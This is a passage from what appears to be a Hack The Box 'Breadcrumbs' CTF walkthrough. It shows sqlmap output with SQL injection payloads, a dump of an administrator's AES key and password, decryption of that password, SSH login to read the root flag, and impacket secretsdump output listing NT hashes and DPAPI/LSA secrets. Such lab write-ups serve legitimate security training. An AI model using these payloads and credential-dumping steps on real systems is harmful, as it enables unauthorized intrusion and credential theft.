[01:55:21] [INFO] testing 'Generic inline queries'
[01:55:21] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[01:55:21] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[01:55:21] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[01:55:21] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[01:55:21] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[01:55:21] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[01:55:22] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[01:55:22] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[01:55:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:55:22] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[01:55:22] [INFO] testing 'MySQL inline queries'
[01:55:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[01:55:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[01:55:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[01:55:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[01:55:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[01:55:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[01:55:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[01:55:32] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[01:55:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:55:32] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[01:55:32] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[01:55:32] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[01:55:32] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[01:55:32] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[01:55:32] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[01:55:32] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[01:55:32] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[01:55:32] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 90 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://localhost:1234/index.php?method=select&username='+(SELECT 0x5148674a WHERE 6462=6462 AND 3447=3447)+'administrator&table=passwords
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: http://localhost:1234/index.php?method=select&username='+(SELECT 0x794a4e4e WHERE 8239=8239 AND (SELECT 3875 FROM(SELECT COUNT(*),CONCAT(0x7176717671,(SELECT (ELT(3875=3875,1))),0x7178627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))+'administrator&table=passwords
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://localhost:1234/index.php?method=select&username='+(SELECT 0x4147706a WHERE 2323=2323 AND (SELECT 5123 FROM (SELECT(SLEEP(5)))fLxG))+'administrator&table=passwords
---
[01:55:34] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.1, Apache 2.4.46
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[01:55:35] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[01:55:35] [INFO] fetching current database
[01:55:35] [INFO] retrieved: 'bread'
[01:55:35] [INFO] fetching tables for database: 'bread'
[01:55:35] [INFO] retrieved: 'passwords'
[01:55:35] [INFO] fetching columns for table 'passwords' in database 'bread'
[01:55:35] [INFO] retrieved: 'id'
[01:55:35] [INFO] retrieved: 'int(6) unsigned'
[01:55:35] [INFO] retrieved: 'account'
[01:55:36] [INFO] retrieved: 'varchar(30)'
[01:55:36] [INFO] retrieved: 'password'
[01:55:36] [INFO] retrieved: 'varchar(100)'
[01:55:36] [INFO] retrieved: 'aes_key'
[01:55:36] [INFO] retrieved: 'varchar(16)'
[01:55:36] [INFO] fetching entries for table 'passwords' in database 'bread'
[01:55:36] [INFO] retrieved: 'Administrator'
[01:55:36] [INFO] retrieved: 'k19D193j.<19391('
[01:55:36] [INFO] retrieved: '1'
[01:55:37] [INFO] retrieved: 'H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw='
[01:55:37] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: bread
Table: passwords
[1 entry]
+----+---------------+------------------+----------------------------------------------+
| id | account | aes_key | password |
+----+---------------+------------------+----------------------------------------------+
| 1 | Administrator | k19D193j.<19391( | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |
+----+---------------+------------------+----------------------------------------------+
[01:55:42] [INFO] table 'bread.passwords' dumped to CSV file '/home/r3pek/.sqlmap/output/localhost/dump/bread/passwords.csv'
[01:55:42] [INFO] fetched data logged to text files under '/home/r3pek/.sqlmap/output/localhost'
[*] ending @ 01:55:42 /2021-07-04/
There’s our aes_key
and password
. Now we can use Cyberchef to do the rest and get our password.
There we have it! Password is p@ssw0rd!@#$9890./
. Now let’s get the root flag!
ββ[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
ββ$ ssh administrator@breadcrumbs.htb
administrator@breadcrumbs.htb's password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
administrator@BREADCRUMBS C:\Users\Administrator>whoami
breadcrumbs\administrator
administrator@BREADCRUMBS C:\Users\Administrator>type desktop\root.txt
cf399de20f92a43ec196d485261781eb
administrator@BREADCRUMBS C:\Users\Administrator>
Box pw0ned! π₯³
root password hash
To get the Administrator password hash we can run secretsdump
script from impacket
:
ββ[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
ββ$ secretsdump-3 'Administrator:p@ssw0rd!@#$9890./@breadcrumbs.htb'
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x9a128ef818aae7a12f43bdc41b948840
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:089ece378f5684209f2b7258bf1086f3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9fe2dab221cd6a6435e0e71fd886600a:::
juliette:1002:aad3b435b51404eeaad3b435b51404ee:0d43fbd33063292f404906f22be3f998:::
development:1003:aad3b435b51404eeaad3b435b51404ee:925c0ca13de4bca4ffb8737c13880ec4:::
www-data:1004:aad3b435b51404eeaad3b435b51404ee:e32850ebb81927358201840118bc76f1:::
sshd:1005:aad3b435b51404eeaad3b435b51404ee:62419b3dbafd0e5d0e40f93f1815807d:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM
dpapi_machinekey:0x469355e78ee41a8d33a845586caf62d61cf806ba
dpapi_userkey:0x6b7c97cbefc673c03dfec0fe539a8aeddec32fdf
[*] NL$KM
0000 19 CA 7A 82 B1 F7 B0 60 34 A6 DF 73 FC BB 5F 1B ..z....`4..s.._.
0010 E6 ED 84 55 A4 B6 0A DA E8 2C 46 C3 8A 28 3A D1 ...U.....,F..(:.
0020 EE 55 4A EC B3 70 43 6E 80 85 A1 47 F7 C0 92 38 .UJ..pCn...G...8
0030 6A 42 D9 16 EA 86 5B 6A F9 B7 3D E4 1E 8F 7F 78 jB....[j..=....x
NL$KM:19ca7a82b1f7b06034a6df73fcbb5f1be6ed8455a4b60adae82c46c38a283ad1ee554aecb370436e8085a147f7c092386a42d916ea865b6af9b73de41e8f7f78
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry